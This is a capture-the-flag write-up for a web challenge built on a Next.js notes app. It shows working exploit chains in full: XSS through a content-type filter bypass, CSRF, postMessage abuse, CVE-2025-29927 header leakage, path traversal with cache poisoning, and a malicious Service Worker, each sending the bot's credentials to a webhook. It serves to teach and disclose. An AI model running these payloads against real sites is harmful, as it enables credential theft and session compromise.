We have been given the URL of a notes application (https://challenge-0325.intigriti.io, source code). After registration and authentication, you can write regular and protected notes (with a randomly generated password) in it, as well as view them.
The core application is written using Next.js framework. User sessions and their notes are saved in Redis. Nginx is used as the reverse proxy.
There is also a bot (uses the latest version of Firefox in headless mode) that does the following:
- Opens the challenge URL (https://challenge-0325.intigriti.io).
- Log in with
username: "admin" + Math.floor(Math.random() * 10000000)and flag in thepasswordfield. - Navigates to the URL submitted on the
/submit-solutionpage. - Clicks in the center of the screen.
- Waits 60 seconds and closes the browser.
After authentication, a secret cookie is set with the value <username>:<password> encoded in base64 and these attributes HttpOnly; Secure; Max-Age=3600; SameSite=None; Path=/.
Our main goal is to get the password value (flag).
You can quickly find out that the content field of a note is unsafely displayed by using dangerouslySetInnerHTML when viewing a note.
See nextjs-app/app/note/[id]/page.jsx:
<CardContent className="flex-1 pt-6 border-t border-rose-100">
<div className="bg-white/80 backdrop-blur-sm p-8 rounded-xl border border-rose-200 shadow-sm min-h-[400px]">
<div
className="prose max-w-none text-gray-700 whitespace-pre-wrap break-words"
dangerouslySetInnerHTML={{ __html: note.content }}
/>
</div>
</CardContent>Although there is a check for dangerous characters when creating a note, see nextjs-app/pages/api/post.js:
if (typeof content === 'string' && (content.includes('<') || content.includes('>'))) {
return res.status(400).json({ message: 'Invalid value for title or content' });
}It can be bypassed using JSON with an array instead of a string. This gives us Self-XSS.
An example of the body of a POST request to /api/post with an XSS payload:
{
"title": "test",
"content": ["<img/src/onerror=alert(origin)>"],
"use_password": false
}To turn this Self-XSS into a normal one, we can use CSRF with a Blob object as the request body so that it does not include the Content-Type header (see description of this technique in this post).
It is possible because of this incorrect check in nextjs-app/pages/api/post.js:
if (content_type && !content_type.startsWith('application/json')) {
return res.status(400).json({ message: 'Invalid content type' });
}CSRF example with the same XSS payload:
fetch('https://challenge-0325.intigriti.io/api/post', {
body: new Blob([JSON.stringify({
title: 'test',
content: ['<img/src/onerror=alert(origin)>'],
use_password: false
})]),
method: 'POST',
credentials: 'include'
});To redirect the bot to a note created after CSRF, you first need to find out its id. A mechanic of viewing and verifying the password of a protected note can help us here.
To view a protected note, a new window opens with the /protected-note page. It sends the childLoaded postMessage message to the opener window, and handles messages with the submitPassword type and password in the password field.
If the logged in user has a note with the passed password, a message with the type success and the field noteId with the id of this note is sent to the opener window.
It is important to note here that all postMessage calls are using * instead of a specific origin. Also, the handler of the message event on the /protected-note page doesn't check the origin property of event objects.
See nextjs-app/app/protected-note/page.jsx:
useEffect(() => {
if(window.opener){
window.opener.postMessage({ type: "childLoaded" }, "*");
}
setisMounted(true);
const handleMessage = (event) => {
if (event.data.type === "submitPassword") {
validatepassword(event.data.password);
}
};
window.addEventListener("message", handleMessage);
return () => window.removeEventListener("message", handleMessage);
}, []);
const validatepassword = (submittedpassword) => {
const notes = JSON.parse(localStorage.getItem("notes") || "[]");
const foundNote = notes.find(note => note.password === submittedpassword);
if (foundNote) {
window.opener.postMessage({ type: "success", noteId: foundNote.id }, "*");
setIsSuccess(true);
} else {
window.opener.postMessage({ type: "error" }, "*");
setIsSuccess(false);
}
};When we creating a regular note, an empty string is written in the password field.
See nextjs-app/pages/api/post.js:
const id = uuidv4();
const password = use_password === 'true' ? generatePassword() : '';
const note = { id, title, content, password };
const newNotes = [...notes, note];
await redis.set(redisKey, JSON.stringify(newNotes), 'KEEPTTL');So to get the id of a regular note you can just open a window with the /protected-note page and send a message with the type submitPassword and an empty string in the password field.
After searching a while for the usage of the secret cookie in the source code, you can find this snippet in nextjs-app/middleware.js:
if (path.startsWith('/note/') && !request.nextUrl.searchParams.has('s')) {
let secret_cookie = '';
try {
secret_cookie = atob(request.cookies.get('secret')?.value);
} catch (e) {
secret_cookie = '';
}
const secretRegex = /^[a-zA-Z0-9]{3,32}:[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
const newUrl = request.nextUrl.clone();
if (!secret_cookie || !secretRegex.test(secret_cookie)) {
return NextResponse.next();
}
newUrl.searchParams.set('s', 'true');
newUrl.hash = `:~:${secret_cookie}`;
return NextResponse.redirect(newUrl, 302);
}When a logged-in user requests a path that starts with /note/ without the s parameter, a redirect occurs with the hash fragment :~:<username:password> and the s=true parameter. The bot will have a flag in the hash fragment.
After the server-side redirect, Next.js also calls history.replaceState on the client-side with the same URL, but without a hash.
There are several ways to get this hash fragment.
My first thought was to add an iframe with the sandbox="allow-same-origin" attribute. It will have no JS and the hash fragment with the flag will not be replaced by /note/<id>?s=true. So we could just get the flag from iframe's location after loading.
But there are two problems. The first is Content-Security-Policy header with frame-src and object-src directives that disallows iframe and object usage.
See nextjs-app/next.config.mjs:
{
key: 'Content-Security-Policy',
value: "frame-ancestors 'none'; base-uri 'none'; object-src 'none'; frame-src 'none';",
}The second problem is that bot's credentials (decoded value of the secret cookie) are set to the hash fragment not in the usual way, but through the use of relatively new browsers feature called URL Fragment Text Directives (it allows you to link to a text fragment of a page). And browsers intentionally do not allow reading the hash value of a fragment after :~:.
After testing this functionality a bit, I found several ways to bypass this limitation.
In Chromium-based browsers, you can get the fragment value after :~: by calling the getEntries method from the Performance API.
The first element (entry of the loaded document) of the returned array will have full URL with the hash fragment in the name field:
console.log(performance.getEntries()[0].name) // => https://challenge-0325.intigriti.io/note/<id>?s=true#:~:<credentials>You can also get this value via the navigation.currentEntry.url from the Navigation API. But firstly you have to override history.replaceState to null in the XSS payload otherwise it will get lost after client-side rendering by Next.js.
history.replaceState = null;
console.log(navigation.currentEntry.url) // => https://challenge-0325.intigriti.io/note/<id>?s=true#:~:<credentials>But the bot uses Firefox, so these solutions are not suitable in our case.
After some thought, I decided to check if it is possible to get the value after :~: when changing the hash in the hashchange event object. And to my surprise this code:
window.onhashchange = e => console.log('new url', e.newURL);
location.hash = 'a';
// => 'new url https://challenge-0325.intigriti.io/note/<id>?s=true#a'
setTimeout(() => location.hash = ':~:test', 1000);
// => 'new url https://challenge-0325.intigriti.io/note/<id>?s=true#:~:test'Works in both Chrome and Firefox.
To get the flag, use this XSS payload:
history.replaceState = history.pushState; // [1]
window.onhashchange = e => fetch(`<WEBHOOK_URL>?u=${encodeURIComponent(e.newURL)}`); // [2]
setTimeout(() => location.hash = 'a', 1000); // [3]
setTimeout(() => history.go(-2), 1500); // [4]- Override
history.replaceStatetohistory.pushStateto save all URLs in the browser's history. - Add a
hashchangelistener that sendsnewURLproperty value of an event object to a webhook. - Add a hash to the current page (
/note/<id>?s=true). For some reason, without this, thehashchangeevent does not trigger in Firefox after thehistory.gocall. - Go back two times by calling
history.go(-2)(-1 =>/note/<id>?s=true, -2 =>/note/<id>?s=true#:~:<credentials>).
The final exploit code:
<script>
const TARGET_HOST = 'https://challenge-0325.intigriti.io';
const WEBHOOK_URL = '<WEBHOOK_URL>';
const sleep = ms => new Promise(res => setTimeout(res, ms));
let win = null;
window.addEventListener('message', (e) => {
const { type, noteId } = e.data;
if (type === 'success' && noteId) {
win.location = `${TARGET_HOST}/note/${noteId}`;
}
});
document.addEventListener('click', async () => {
win = window.open(`${TARGET_HOST}/notes`);
await sleep(500);
fetch(`${TARGET_HOST}/api/post`, {
body: new Blob([JSON.stringify({
title: 'test',
content: ["<img/src/onerror='history.replaceState = history.pushState; window.onhashchange = e => fetch(`" + WEBHOOK_URL + "?u=${encodeURIComponent(e.newURL)}`); setTimeout(() => location.hash = `a`, 1000); setTimeout(() => history.go(-2), 1500)'>"],
use_password: false
})]),
method: 'POST',
credentials: 'include'
});
await sleep(500);
win.location = `${TARGET_HOST}/protected-note`;
await sleep(500);
win.postMessage({ type: 'submitPassword', password: '' }, '*');
});
</script>During the challenge, I read two posts describing the CVE-2025-29927 vulnerability in Next.js.
The first one is from the author of the CVE (Next.js and the corrupt middleware: the authorizing artifact). The second one is from Assetnote (Doing the Due Diligence: Analyzing the Next.js Middleware Bypass (CVE-2025-29927)) with a more accurate technique of detecting vulnerable applications.
Using the technique from the second post, we can get the flag from the hash fragment after redirection in nextjs-app/middleware.js by just sending a request to /note/<id> with the x-nextjs-data: 1 request header. The full redirect URL will be in the x-nextjs-redirect response header:
fetch(location.pathname, {
headers: { 'x-nextjs-data': 1 }
})
.then(res => fetch(`${WEBHOOK_URL}?u=${encodeURIComponent(res.headers.get('x-nextjs-redirect'))}`))Full exploit code:
<script>
const TARGET_HOST = 'https://challenge-0325.intigriti.io';
const WEBHOOK_URL = '<WEBHOOK_URL>';
const sleep = ms => new Promise(res => setTimeout(res, ms));
let win = null;
window.addEventListener('message', (e) => {
const { type, noteId } = e.data;
if (type === 'success' && noteId) {
win.location = `${TARGET_HOST}/note/${noteId}`;
}
});
document.addEventListener('click', async () => {
win = window.open(`${TARGET_HOST}/notes`);
await sleep(500);
fetch(`${TARGET_HOST}/api/post`, {
body: new Blob([JSON.stringify({
title: 'test',
content: ["<img/src/onerror='fetch(location.pathname, { headers: { "x-nextjs-data": 1 } }).then(res => fetch(`" + WEBHOOK_URL + "?u=${encodeURIComponent(res.headers.get("x-nextjs-redirect"))}`))'>"],
use_password: false
})]),
method: 'POST',
credentials: 'include'
});
await sleep(500);
win.location = `${TARGET_HOST}/protected-note`;
await sleep(500);
win.postMessage({ type: 'submitPassword', password: '' }, '*');
});
</script>The flag and the remaining parts of code hint that previous solutions were unintended, and for the intended solution, you need to use a Service Worker.
I didn't use the /api/track endpoint at all:
export default async function handler(req, res) {
const { method } = req
res.setHeader('Content-Type', 'text/javascript')
switch (method) {
case 'GET':
try {
const userIp = req.headers['x-user-ip'] || '0.0.0.0'
const jsContent = `
$(document).ready(function() {
const userDetails = {
ip: "${userIp}",
type: "client",
timestamp: new Date().toISOString(),
ipDetails: {}
};
window.ipAnalytics = {
track: function() {
return {
ip: userDetails.ip,
timestamp: new Date().toISOString(),
type: userDetails.type,
ipDetails: userDetails.ipDetails
};
}
};
});`
if (userIp !== '0.0.0.0') {
return res.status(200).send(jsContent)
} else {
return res.status(200).send('');
}
} catch (error) {
console.error('Error:', error)
return res.status(500).send('Error')
}
default:
res.setHeader('Allow', ['GET'])
return res.status(405).send('console.error("Method not allowed");')
}
}Requests to which are made on the /note/<id> page. It contains a vulnerability because the value of the x-user-ip header is not validated. This allows you to inject arbitrary JS code in the response body.
Also, my previous solutions do not use this part of code from nextjs-app/middleware.js:
if (path.startsWith('/view_protected_note')) {
const query = request.nextUrl.searchParams;
const note_id = query.get('id');
const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
const isMatch = uuid_regex.test(note_id);
if (note_id && isMatch) {
const current_url = request.nextUrl.clone();
current_url.pathname = "/note/" + note_id.normalize('NFKC');
return NextResponse.rewrite(current_url);
} else {
return new NextResponse('Uh oh, Missing or Invalid Note ID :c', {
status: 403,
headers: { 'Content-Type': 'text/plain' },
});
}
}It also has a vulnerability. The validation logic of the note's id value passed in the id parameter is not complete. Any character except - is allowed before - in the UUID parts. We can use ../ characters to do path traversal to the /api/track endpoint instead of /note/<id>.
As an example, when requesting this URL:
https://challenge-0325.intigriti.io/view_protected_note?id=../api/x-/../-x/./-/../-/../../track
The middleware will rewrite URL to /api/track.
I've also noticed that middleware does not use an exact comparison for paths. It uses startsWith instead.
We can use this behavior with caching settings for JS files defined in nextjs-app/next.config.mjs:
{
source: '/:path*.js',
headers: [
{
key: 'Cache-Control',
value: 'public, max-age=120, immutable',
},
],
}To cache any response from the /view_protected_note endpoint by just adding .js after the path:
https://challenge-0325.intigriti.io/view_protected_note.js?id=../api/x-/../-x/./-/../-/../../track
=>
HTTP/2 200
...
cache-control: public, max-age=120, immutable
x-middleware-rewrite: /api/track?id=..%2Fapi%2Fx-%2F..%2F-x%2F.%2F-%2F..%2F-%2F..%2F..%2Ftrack
...We have almost all to get the flag by intended way via Service Worker. The only remaining step is to generate a valid /api/track response with x-user-ip header, the cached version of which could then be used to register Service Worker on the /note/<id> page. This Service Worker will listen to the fetch event and send a flag from the hash fragment to our webhook.
There is only one problem. The response from /api/track endpoint contains code using jQuery ($(document).ready), and also refers to window and document global objects, which will not be defined in the global scope of the Service Worker.
To avoid this problem, you can use function hoisting. In JavaScript, functions declared via function declaration are "hoisted", and can be used before their declaration.
An example demonstrating this behavior:
console.log(foo); // => function foo() { console.log('hello'); }
function foo() {
console.log('hello');
}Full exploit code:
<script>
const TARGET_HOST = 'https://challenge-0325.intigriti.io';
const WEBHOOK_URL = '<WEBHOOK_URL>';
const sleep = ms => new Promise(res => setTimeout(res, ms));
let win = null;
window.addEventListener('message', (e) => {
const { type, noteId } = e.data;
if (type === 'success' && noteId) {
win.location = `${TARGET_HOST}/note/${noteId}`;
}
});
document.addEventListener('click', async () => {
win = window.open(`${TARGET_HOST}/notes`);
await sleep(500);
fetch(`${TARGET_HOST}/api/post`, {
body: new Blob([JSON.stringify({
title: 'test',
content: ["<img/src/onerror='import(`<IMPORT_URL>`)'>"],
use_password: false
})]),
method: 'POST',
credentials: 'include'
});
await sleep(500);
win.location = `${TARGET_HOST}/protected-note`;
await sleep(500);
win.postMessage({ type: 'submitPassword', password: '' }, '*');
});
</script>Where <IMPORT_URL> serves this content:
const TRACK_PATH = '/view_protected_note.js?id=../api/x-/../-x/./-/../-/../../track';
const WEBHOOK_URL = '<WEBHOOK_URL>';
fetch(TRACK_PATH, {
headers: {
'x-user-ip': '" }}); function document() {}; function window() {}; function $(){ return {ready:()=>{}} };self.addEventListener("install", () => self.skipWaiting());self.addEventListener("fetch", (e) => {const requestUrl = new URL(e.request.url);if(requestUrl.hash){ fetch("' + WEBHOOK_URL + '?u=" + encodeURIComponent(requestUrl.hash)) } }); (()=>{var a={x:"'
},
cache: 'reload'
})
.then(() => self.navigator.serviceWorker.register(TRACK_PATH, { updateViaCache: 'all', scope: '/note/' }))
.then(() => location.href = location.pathname);With Content-Type: text/javascript and Access-Control-Allow-Origin: * response headers.
A few notes:
- The
x-user-iprequest header has this payload which is used as Service Worker script (formatted version):
" }});
function document() {};
function window() {};
function $() { return { ready: () => {} } };
self.addEventListener("install", () => self.skipWaiting());
self.addEventListener("fetch", (e) => {
const requestUrl = new URL(e.request.url);
if (requestUrl.hash) {
fetch("' + WEBHOOK_URL + '?u=" + encodeURIComponent(requestUrl.hash))
}
});
(()=>{var a={x:"- We use the
updateViaCacheproperty when registering SW to get the version from the cache instead of doing a network request. - After registering the worker, we redirect the page to
location.pathname(/note/<id>) to activate it.
The flag is: INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}
Thanks